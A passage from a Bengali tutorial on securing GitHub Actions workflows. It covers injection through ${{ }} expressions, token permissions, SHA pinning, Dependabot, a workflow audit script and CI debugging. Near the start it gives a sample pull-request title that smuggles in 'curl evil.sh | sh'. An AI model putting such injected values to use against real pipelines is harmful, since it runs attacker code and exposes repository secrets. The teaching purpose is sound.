শেল কিছু দেখার আগেই GitHub ${{ ... }}-কে তার মান দিয়ে সাধারণ টেক্সট হিসেবে বদলে দেয়। মানটা যদি পুল রিকোয়েস্টের শিরোনাম, ইস্যুর বিবরণ, ব্রাঞ্চের নাম বা কমিট বার্তা হয়, তা বেছে নেয় আক্রমণকারী। "; curl evil.sh | sh; echo " শিরোনাম থাকলে উপরের লাইনটা একটা কমান্ড হয়ে যায়। সমাধান: অবিশ্বস্ত মান env: দিয়ে পাঠান এবং সাধারণ শেল ভেরিয়েবল হিসেবে কোট করে ব্যবহার করুন: env: TITLE: ${{ github.event.pull_request.title }}, তারপর echo "Testing $TITLE"। শেল ভেরিয়েবল ডেটা; বসিয়ে দেওয়া টেক্সট কোড। github.head_ref, ব্রাঞ্চের ক্ষেত্রে github.ref_name, আর github.event-এর নিচে যা কিছু ব্যবহারকারী টাইপ করেছে, সবকিছুর ক্ষেত্রে একই কথা।
৩. সবখানে সর্বনিম্ন অধিকার
- উপরে
permissions: contents: read, বাড়তি স্কোপ জবে জবে (release.yml-এর মতো)। - সিক্রেট শুধু যে স্টেপে লাগে সেখানে, পুরো জব বা ওয়ার্কফ্লোতে নয়, সেই স্টেপের
env:দিয়ে। ডিপ্লয় কি-র জন্য এনভায়রনমেন্ট সিক্রেট। - ফর্ক PR-কে কিছু দেবেন না (ডিফল্টই তাই)। নিজে নিয়ন্ত্রণ করেন না এমন রিইউজেবল ওয়ার্কফ্লোকে
secrets: inheritদেবেন না। - Settings, Actions-এ ডিফল্ট ওয়ার্কফ্লো টোকেন পারমিশন শুধু-পড়া করুন, আর কোন অ্যাকশন চলতে পারবে তা সীমিত করুন (GitHub-এর নিজেরগুলো ও একটা অনুমোদিত তালিকা)।
৪. তৃতীয় পক্ষের অ্যাকশন কমিট SHA-তে পিন করুন
@v4 ধরনের ভার্সন একটা ট্যাগ, আর ট্যাগ সরিয়ে নেওয়া যায় এমন পয়েন্টার: অ্যাকশনের রিপোজিটরি যার নিয়ন্ত্রণে (বা যে তার ক্রেডেনশিয়াল চুরি করেছে), সে v4-কে ক্ষতিকর কোডে সরিয়ে দিতে পারে, আর আপনার পরের রান সেটা আপনার টোকেন নিয়ে চালাবে। ২০২৫ সালে একটা জনপ্রিয় তৃতীয় পক্ষের অ্যাকশনে ঠিক এটাই ঘটেছিল এবং হাজার হাজার রিপোজিটরির সিক্রেট ফাঁস হয়েছিল। ৪০ অক্ষরের পূর্ণ কমিট SHA সরানো যায় না। পার্থক্যটা দেখুন, একটা অ্যাকশনের রিপোজিটরির জায়গায় একটা সাময়িক রিপোজিটরি দিয়ে:
mkdir -p ~/tmp/some-action && cd ~/tmp/some-action && git init -q
echo "safe" > action.txt && git add . && git commit -q -m "v1 release"
git tag v1
PINNED=$(git rev-parse v1)
echo "pinned: $PINNED"
echo "malicious" > action.txt && git commit -q -am "attacker commit"
git tag -f v1 > /dev/null
echo "tag v1 now: $(git rev-parse v1)"
echo "the pin still points at: $(git show $PINNED:action.txt)"
cd ~/projects/review-cipinned: 9859bf41a7e4a9ca50a8be16644b4ff973a9eaf3
tag v1 now: a212543f373f717ee1af6b7c534eba594c8f0fc5
the pin still points at: safeওয়ার্কফ্লোতে প্যাটার্নটা মানুষের পড়ার মতো ভার্সনটা মন্তব্যে রাখে, ফলে টুলগুলো তা পড়তে ও আপডেট করতে পারে:
# file: docs/pinned-example.yml
name: Pinning pattern
on: [push]
permissions:
contents: read
jobs:
scan:
runs-on: ubuntu-latest
steps:
# Placeholder, not a real action: replace the text after @ with the 40-character
# commit SHA you verified, and keep the version in the comment.
- uses: example-org/third-party-action@PASTE_THE_FULL_40_CHAR_COMMIT_SHA_HERE # v1.2.3সঠিক SHA কীভাবে পাবেন? অ্যাকশনের রিপোজিটরিতে গিয়ে রিলিজ বা ট্যাগ খুঁজুন, সেটা যে কমিটকে নির্দেশ করে তার পূর্ণ হ্যাশ কপি করুন; অথবা Git-কে জিজ্ঞেস করুন। ট্যাগ অ্যানোটেটেড হলে ^{} দিয়ে শেষ হওয়া লাইনটাই কমিট (যেটা আপনার দরকার), আর যে লাইনে তা নেই সেটা ট্যাগ অবজেক্ট, ঠিক উপরের v0.1.0 আউটপুটের মতো। এটা GitHub-এর সঙ্গে কথা বলে, তাই আউটপুট ছাড়া দেখানো হলো:
git ls-remote https://github.com/actions/checkout "refs/tags/v7*"বিশ্বাস করার আগে ওই কমিটের কোড পড়ে নিন, তারপর হ্যাশ বসান। পিন করার পর Dependabot পিন তাজা রাখে: সে এমন একটা পুল রিকোয়েস্ট খোলে যা SHA ও ভার্সন-মন্তব্য একসঙ্গে বদলায়, আর আপনি ডিফ রিভিউ করেন। অনেক টিম শুধু তৃতীয় পক্ষ (actions/ ও github/-এর বাইরের সবকিছু) পিন করে এবং GitHub-এর নিজের অ্যাকশনের জন্য ভার্সন ট্যাগ মেনে নেয়; কঠোর টিম সবকিছু পিন করে, আর GitHub-এ পূর্ণ-দৈর্ঘ্যের SHA পিন বাধ্যতামূলক করার একটা রিপোজিটরি সেটিংও আছে। Docker ইমেজেও একই যত্ন দরকার: @sha256: ডাইজেস্ট সরে না, ট্যাগ সরে।
Dependabot ও স্ক্যানিং
নিচের ফাইল Dependabot-কে প্রতি সপ্তাহে Python প্যাকেজ, আপনার ওয়ার্কফ্লোর অ্যাকশন আর Docker বেস ইমেজ দেখে আপডেটের পুল রিকোয়েস্ট খুলতে বলে। তারপর CI প্রতিটা আপডেট নিজে নিজে পরীক্ষা করে; টেস্ট থাকার আসল লাভ এটাই।
# file: .github/dependabot.yml
version: 2
updates:
- package-ecosystem: pip
directory: /
schedule:
interval: weekly
- package-ecosystem: github-actions
directory: /
schedule:
interval: weekly
- package-ecosystem: docker
directory: /
schedule:
interval: weeklyআপনার প্রজেক্ট uv ব্যবহার করলে pip-এর বদলে uv ইকোসিস্টেম দিন, যাতে uv.lock আপডেট হয়।
| টুল | কী ধরে | কোথায় |
|---|---|---|
| সিক্রেট স্ক্যানিং + পুশ প্রোটেকশন | কমিটে API কি ও টোকেন (পুশ আটকে দেয়) | পাবলিক রিপোজিটরিতে ডিফল্টভাবে চালু; দেখুন AI প্রজেক্টে Git: ডেটা, মডেল, LFS, DVC ও ফাঁস হওয়া সিক্রেট |
| Dependabot অ্যালার্ট ও সিকিউরিটি আপডেট | জানা দুর্বলতাওয়ালা ডিপেন্ডেন্সি | রিপোজিটরির Security সেটিংস |
| Dependency review অ্যাকশন | দুর্বল বা নিষিদ্ধ ডিপেন্ডেন্সি যোগ করা পুল রিকোয়েস্ট | PR ওয়ার্কফ্লোর একটা স্টেপ |
| কোড স্ক্যানিং (CodeQL) | আপনার কোডে ইনজেকশন, পাথ ট্র্যাভার্সাল ইত্যাদি বাগ | পাবলিক রিপোজিটরিতে বিনামূল্যে |
pip-audit | আপনার এনভায়রনমেন্টের দুর্বল প্যাকেজ (দেখুন API নিরাপত্তা ও OWASP API Top 10) | একটা CI স্টেপ |
ওয়ার্কফ্লো চেকার
আগের হেল্পারগুলোর ওপর একটা ছোট পলিসি চেকার: এটা permissions না থাকা, pull_request_target, PR হেডের চেকআউট, run: স্ক্রিপ্টে বসানো অবিশ্বস্ত টেক্সট, আর পিন না করা তৃতীয় পক্ষের অ্যাকশন জানায়। এটা শেখার টুল; বাস্তব প্রজেক্টে actionlint এবং Actions-এর নিরাপত্তায় বিশেষজ্ঞ zizmor ধরনের টুলও ব্যবহার হয়।
import re
FIRST_PARTY = ("actions/", "github/")
SHA = re.compile(r"@[0-9a-f]{40}$")
INJECT = re.compile(r"\$\{\{\s*github\.(head_ref|event\.\S*(title|body|ref|name|message|label))")
def audit(path):
wf, found = load(path), []
if "permissions" not in wf:
found.append("no top-level permissions: (default token rights apply)")
if "pull_request_target" in triggers(wf):
found.append("DANGER pull_request_target: secrets and a write token")
for name, job in wf["jobs"].items():
for step in job["steps"]:
use = step.get("uses", "")
if use and not use.startswith(FIRST_PARTY) and not SHA.search(use):
found.append(f"{name}: pin {use.split('@')[0]} to a commit SHA")
if "head" in str(step.get("with", {}).get("ref", "")):
found.append(f"DANGER {name}: checks out the pull request's code")
if INJECT.search(step.get("run", "")):
found.append(f"DANGER {name}: untrusted text inside a run: script")
return found
workflows = sorted(Path(".github/workflows").glob("*.yml")) + sorted(Path("docs").glob("*.yml"))
for path in workflows:
findings = audit(path)
print(f"{path}: {'clean' if not findings else ''}")
for item in findings:
print(" -", item)
print(bool(SHA.search("owner/repo@" + "a" * 40)), bool(SHA.search("owner/repo@v4"))).github/workflows/ci.yml: clean
.github/workflows/release.yml:
- image: pin docker/login-action to a commit SHA
- image: pin docker/build-push-action to a commit SHA
docs/bad-pr-target.yml:
- no top-level permissions: (default token rights apply)
- DANGER pull_request_target: secrets and a write token
- DANGER test: checks out the pull request's code
- DANGER test: untrusted text inside a run: script
docs/ci-uv-example.yml:
- test: pin astral-sh/setup-uv to a commit SHA
docs/pinned-example.yml:
- scan: pin example-org/third-party-action to a commit SHA
True Falseরিভিউয়ারের চোখে ফলাফলটা পড়ুন। ci.yml পরিষ্কার। release.yml docker/* অ্যাকশন ট্যাগ দিয়ে ব্যবহার করে: কঠোর নীতিতে ওগুলোও পিন করতে হতো। docs/ci-uv-example.yml দেখায় astral-sh/setup-uv-ও তৃতীয় পক্ষ। খারাপ উদাহরণ প্রতিটা পরীক্ষায় ধরা পড়ে, আর পিনিং উদাহরণের প্লেসহোল্ডারকে চেকার পিন-না-করা বলে, যা ঠিক, কারণ প্লেসহোল্ডার SHA নয়। (dependabot.yml কনফিগারেশন, ওয়ার্কফ্লো নয়, তাই লুপ সেটা পড়ে না। শেষ লাইনে রেগুলার এক্সপ্রেশন যাচাই হয়েছে: ৪০টা হেক্সাডেসিমাল অক্ষর পাস করে, ভার্সন ট্যাগ করে না।)
ব্যর্থ রান ডিবাগ করা
লাল রানটা খুলুন, প্রথম ব্যর্থ স্টেপে ক্লিক করুন, এবং প্রথম এররটা পড়ুন, শেষ লাইন নয়। সাধারণ কারণগুলো:
| লক্ষণ | সম্ভাব্য কারণ | সমাধান |
|---|---|---|
শুধু CI-তে ModuleNotFoundError | কমিট করতে ভুলে যাওয়া ফাইল, requirements-এ না থাকা ডিপেন্ডেন্সি, বা শুধু আপনার venv-এ থাকা প্যাকেজ | পরিষ্কার ক্লোন থেকে পুনরুৎপাদন করুন (নিচে) |
| ম্যাট্রিক্সের একটা এন্ট্রিতে ফেল | Python ভার্সনের পার্থক্য (3.12 বনাম 3.14) | ওই ভার্সনে লোকালে টেস্ট চালান |
| DB টেস্ট ফেল বা স্কিপ | সার্ভিস তখনো প্রস্তুত নয়, ভুল হোস্ট বা পোর্ট, DATABASE_URL নেই | জবে সার্ভিসের লগ আর options-এর হেলথ চেক দেখুন |
Resource not accessible by integration (403) | টোকেনে পারমিশন নেই, যেমন packages: write | শুধু সেই জবে দিন |
| সিক্রেট খালি | রান ফর্ক থেকে এসেছে, সিক্রেট অন্য এনভায়রনমেন্টে, বা নামে বানান ভুল | সিক্রেট কোথায় আছে আর কোন জব কোন environment ব্যবহার করে দেখুন |
| লোকালে পাস, CI-তে ফেল, কখনো পাস কখনো ফেল (flaky) | টাইমিং, টেস্টের ক্রম, নেটওয়ার্ক, টাইম জোন, লোকালে পড়ে থাকা ফাইল | একবার আবার চালিয়ে নিশ্চিত হয়ে টেস্ট ঠিক করুন; শুধু রিট্রাই যোগ করবেন না |
সমস্যা খোঁজার টুল: UI-তে Re-run failed jobs; আরও বিবরণের জন্য Re-run with debug logging (বা রিপোজিটরি ভেরিয়েবল ACTIONS_STEP_DEBUG-কে true করা); ব্যর্থ জবের টেস্ট রিপোর্ট ও লগ রাখতে actions/upload-artifact; আর টার্মিনাল থেকে GitHub CLI দিয়ে (এগুলো GitHub-এর সঙ্গে কথা বলে, তাই আউটপুট ছাড়া দেখানো হলো):
gh run list --limit 5
gh run view --log-failed
gh run rerun --failedসবচেয়ে ভালো অভ্যাস হলো CI-র অবস্থাটা নিজের মেশিনে বানানো: একটা নতুন ক্লোন (শুধু যা কমিট করা), একটা নতুন ভার্চুয়াল এনভায়রনমেন্ট (শুধু requirements ফাইলে যা আছে), আর একই কমান্ড। প্রজেক্টটা ক্লাসিক উপায়ে ভাঙি: একটা হেল্পার মডিউল যা আপনার ডিস্কে আছে কিন্তু কমিট করা হয়নি, আর দেখি পরিষ্কার ক্লোন তা ধরে কি না:
source = Path("main.py").read_text()
source = source.replace("review.text.split()", "clean(review.text).split()")
source = source.replace("from fastapi import FastAPI", "from fastapi import FastAPI\n\nfrom helpers import clean")
Path("main.py").write_text(source)
Path("helpers.py").write_text("def clean(text):\n return text.replace('\\n', ' ')\n")python -m pytest -q 2>&1 | tail -n 1
git add .github docs && git commit -q -m "Add Dependabot config and workflow examples"
git add main.py && git commit -q -m "Clean review text before scoring" && git push -q origin main
git status --short3 passed, 1 skipped in 0.26s
?? helpers.pyআপনার মেশিনে সবুজ, আর git status সূত্রটা দেখায় (?? মানে ট্র্যাক না করা)। এবার CI রানার যা করে তাই করুন:
rm -rf ~/ci-sim && git clone -q ~/remotes/review-ci.git ~/ci-sim && cd ~/ci-sim
python -m venv .venv && .venv/bin/pip install -q -r requirements-dev.txt
.venv/bin/python -m pytest -q -x 2>&1 | grep -E "^E |passed|error"
cd ~/projects/review-ciE ModuleNotFoundError: No module named 'helpers'
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Interrupted: 1 error during collection !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
1 error in 0.30sActions লগে যে ব্যর্থতা দেখতেন ঠিক সেটাই, কয়েক সেকেন্ডে, পুশ করে অপেক্ষা না করেই। আসল রিপোজিটরিতে যেভাবে করতেন সেভাবে ঠিক করুন: হারানো ফাইলটা কমিট করুন, তারপর আবার পরিষ্কার ক্লোনে পরীক্ষা করুন।
git add helpers.py && git commit -q -m "Add helpers module" && git push -q origin main
cd ~/ci-sim && git pull -q && .venv/bin/python -m pytest -q 2>&1 | tail -n 1
cd ~/projects/review-ci3 passed, 1 skipped in 0.26sact ধরনের টুল নিজের মেশিনের Docker কন্টেইনারে ওয়ার্কফ্লো চালায়; দ্রুত পরীক্ষায় কাজের, কিন্তু GitHub-এর রানারের সঙ্গে কখনো হুবহু এক নয়, তাই একই কমান্ড দিয়ে পরিষ্কার ক্লোন প্রথম পরীক্ষা হিসেবে বেশি নির্ভরযোগ্য।
বাস্তব ব্যবহার
- মডেল কোডের কোয়ালিটি গেট: একই পাইপলাইন আপনার প্রম্পট বা মডেল ভার্সনের বিরুদ্ধে একটা ছোট মূল্যায়ন সেট চালাতে পারে এবং অ্যাকুরেসি কমলে পুল রিকোয়েস্ট ব্যর্থ করে, ফলে মানের রিগ্রেশন ব্যবহারকারীর আগে ধরা পড়ে (পরের একটা বিষয়ে eval নিয়ে এটা বানানো হয়)।
- বাধ্যতামূলক চেক:
lintওtestজব বাধ্যতামূলক করা ব্রাঞ্চ রুলসেট (দেখুন GitHub-এ টিম হিসেবে কাজ) থাকলে রাত ২টায় আপনি নিজেও লাল কোড মার্জ করতে পারবেন না। - প্রতি রিলিজে একটা ইমেজ: প্রতিটা ট্যাগ GHCR-এ একটা ইমেজ বানায়; রোলব্যাক মানে আগের ট্যাগ ডিপ্লয় করা।
- নির্ধারিত জব: রাতের
scheduleওয়ার্কফ্লো ধীর ইন্টিগ্রেশন টেস্ট আবার চালাতে, ডেটাসেট নতুন করতে বা কোনো আপস্ট্রিম API এখনো ঠিক আচরণ করে কি না দেখতে পারে। - খরচ নিয়ন্ত্রণ: টাইমআউট,
concurrency, ক্যাশ ও পাথ ফিল্টার ফ্রি কোটাকে ব্যবহারযোগ্য রাখে; GPU বা বড় রানার পেইড, তাই ডিফল্টে CI-তে ট্রেনিং চালাবেন না।
সাধারণ ভুল
write-allদেওয়া বা ডিফল্ট রেখে দেওয়া। ক্ষতিকর কোড ঢোকা একটা স্টেপ তখন আপনার রিপোজিটরি দখল করে নিতে পারে। উপরেpermissions: contents: readলিখুন এবং জবে জবে বাড়ান।- "PR বিল্ডে সিক্রেট পেতে"
pull_request_targetব্যবহার। এটা অবিশ্বস্ত কোডের হাতে সিক্রেট তুলে দেয়।pull_requestব্যবহার করুন, আর বিশেষ-অধিকারের কাজ আলাদা, বিশ্বস্ত ওয়ার্কফ্লো থেকে চালান যা PR-এর কোড কখনো চালায় না। run:-এর ভেতরে${{ github.event... }}বসানো। এটাই স্ক্রিপ্ট ইনজেকশন। মান পাঠানenv:দিয়ে।- তৃতীয় পক্ষের অ্যাকশনে
@v4ও সরে যাওয়া ট্যাগে ভরসা। পূর্ণ SHA-তে পিন করুন এবং Dependabot-কে আপডেট করতে দিন। - টেস্ট নীরবে স্কিপ হলে বা CI-র কমান্ড লোকালের কমান্ড থেকে আলাদা হলে সবুজ টিককে প্রমাণ ভাবা। একই কমান্ড ব্যবহার করুন এবং স্কিপের কারণ ছাপান।
নিজে চেষ্টা করুন
- সহজ:
.github/workflows/nightly.ymlলিখুন: প্রতিদিন ০২:০০ UTC-তে টেস্ট চালাবে, হাতেও চালু করা যাবে, শুধু-পড়া পারমিশনসহ।summaryদিয়ে পরীক্ষা করুন। - মাঝারি: খারাপ উদাহরণের একটা নিরাপদ বিকল্প লিখুন: ট্রিগার
pull_request, শুধু-পড়া পারমিশন, PR শিরোনামenvদিয়ে পাঠানো, কোনো সিক্রেট নয়।auditদিয়ে প্রমাণ করুন যে এটা পরিষ্কার। - কঠিন:
pin_report(path)লিখুন, যা কোনো ওয়ার্কফ্লোর প্রতিটা পিন-না-করা তৃতীয় পক্ষের অ্যাকশনের জন্য প্লেসহোল্ডার<COMMIT-SHA>ও পুরোনো ভার্সন মন্তব্য সহ বদলি লাইন ছাপায়।release.yml-এ চালান।
উত্তর
সহজ। schedule cron সিনট্যাক্স নেয়, UTC-তে (মিনিট, ঘণ্টা, দিন, মাস, সপ্তাহের দিন)।
# file: .github/workflows/nightly.yml
name: Nightly tests
on:
schedule:
- cron: "0 2 * * *"
workflow_dispatch:
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@v7
with:
persist-credentials: false
- uses: actions/setup-python@v7
with:
python-version: "3.14"
- run: pip install -r requirements-dev.txt
- run: python -m pytest -qsummary(".github/workflows/nightly.yml").github/workflows/nightly.yml: Nightly tests
triggers : schedule, workflow_dispatch
permissions: {'contents': 'read'}
job test: 4 steps; also []
uses: actions/checkout@v7, actions/setup-python@v7মাঝারি।
# file: docs/safe-pr.yml
name: Safe PR check
on:
pull_request:
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v7
with:
persist-credentials: false
- name: Show the title safely
env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "Testing $TITLE"
- run: pip install -r requirements-dev.txt && python -m pytest -qprint(audit("docs/safe-pr.yml") or "clean")cleanকঠিন।
def pin_report(path):
for name, job in load(path)["jobs"].items():
for step in job["steps"]:
use = step.get("uses", "")
if use and not use.startswith(FIRST_PARTY) and not SHA.search(use):
action, version = use.split("@")
print(f"- uses: {action}@<COMMIT-SHA> # {version}")
pin_report(".github/workflows/release.yml")- uses: docker/login-action@<COMMIT-SHA> # v4
- uses: docker/build-push-action@<COMMIT-SHA> # v7প্রতিটা <COMMIT-SHA>-এর জায়গায় আপনার যাচাই করা কমিট বসান (উপরের git ls-remote রেসিপি দেখুন)।
সারসংক্ষেপ
- CI প্রতিটা পুশ ও পুল রিকোয়েস্টে পরিষ্কার মেশিনে আপনার লিন্ট ও টেস্ট চালায়; CD ফলাফল বিল্ড করে পাঠায়। ওয়ার্কফ্লো হলো
.github/workflows/-এর YAML: ইভেন্ট জব চালু করে, জব নতুন রানারে স্টেপ চালায়, আর স্টেপ কমান্ড বা অ্যাকশন চালায় (actions/checkout@v7,actions/setup-python@v7,actions/cache@v6,astral-sh/setup-uv@v10)। - ল্যাপটপের কমান্ডই ব্যবহার করুন (
python -m pytest -q), Python ভার্সনের জন্য ম্যাট্রিক্স, ক্যাশ, আর হেলথ চেকসহservices:PostgreSQL কন্টেইনার। স্কিপ করা টেস্ট যেন ভাঙা সেটআপ লুকাতে না পারে। permissions: contents: readদিয়ে শুরু করুন, জবে জবে বাড়ান; গন্তব্য GitHub হলে সংরক্ষিত টোকেনের চেয়ে স্বল্পায়ুGITHUB_TOKENভালো; আসল মান রাখুন সিক্রেট ও এনভায়রনমেন্ট সিক্রেটে।- রিলিজ মানে ট্যাগ: ট্যাগ পুশ করুন,
docker/build-push-action@v7দিয়ে বিল্ড করুন,docker/login-action@v4দিয়ে GHCR-এ লগইন করুন, আর অনুমোদন চাইতে পারে এমন এনভায়রনমেন্টের মাধ্যমে ডিপ্লয় করুন। pull_request_target-এ PR-এর কোড কখনো চালাবেন না, অবিশ্বস্ত টেক্সটrun:-এ বসাবেন না, তৃতীয় পক্ষের অ্যাকশন কমিট SHA-তে পিন করুন, আর বাকিটা Dependabot ও স্ক্যানারকে দেখতে দিন।- ডিবাগ করুন প্রথম এরর পড়ে, তারপর নতুন ক্লোন ও নতুন venv থেকে পুনরুৎপাদন করে।
এরপর: ডিপ্লয়মেন্ট ও প্রোডাকশনের প্রস্তুতি এই পাইপলাইনের বানানো ইমেজ একটা আসল হোস্টে তোলে, সঙ্গে HTTPS, হেলথ চেক, মাইগ্রেশন, লগিং আর রোলব্যাক পরিকল্পনা।